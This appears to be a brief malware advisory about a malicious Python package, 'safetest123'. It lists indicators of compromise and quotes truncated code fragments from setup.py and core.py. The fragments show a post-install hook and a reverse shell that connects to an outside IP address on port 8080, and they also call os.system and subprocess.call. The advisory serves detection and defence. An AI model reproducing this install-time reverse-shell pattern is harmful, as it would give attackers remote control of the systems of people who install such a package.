GCVE-VVD-OSM-2026-689

Malicious package detected. Behaviors: code execution, network activity. Payload: setup.py Secondary files: safetest123/core.py Key findings: - Reverse Shell in safetest123/core.py: "socket.socket() s.connect(("52.148.155.85", 8080)) os.du..." - Reverse Shell in setup.py: "socket.socket();s.connect((\"52.148.155.85\",8080));os.dup2(s.fileno(),0);os.dup..." - Shell Command Execution in safetest123/core.py: "subprocess.call(" - Shell Command Execution in setup.py: "os.system(" - setup.py Code Execution in setup.py: "class PostInstall(install): def run(self): def cb(): os...." IOCs: - ipv4: 52.148.155.85 - payloadFileHash: 754be0bb7ae8d20b449379a0d07b2daae4498510cb0fd0c79bd562227f804348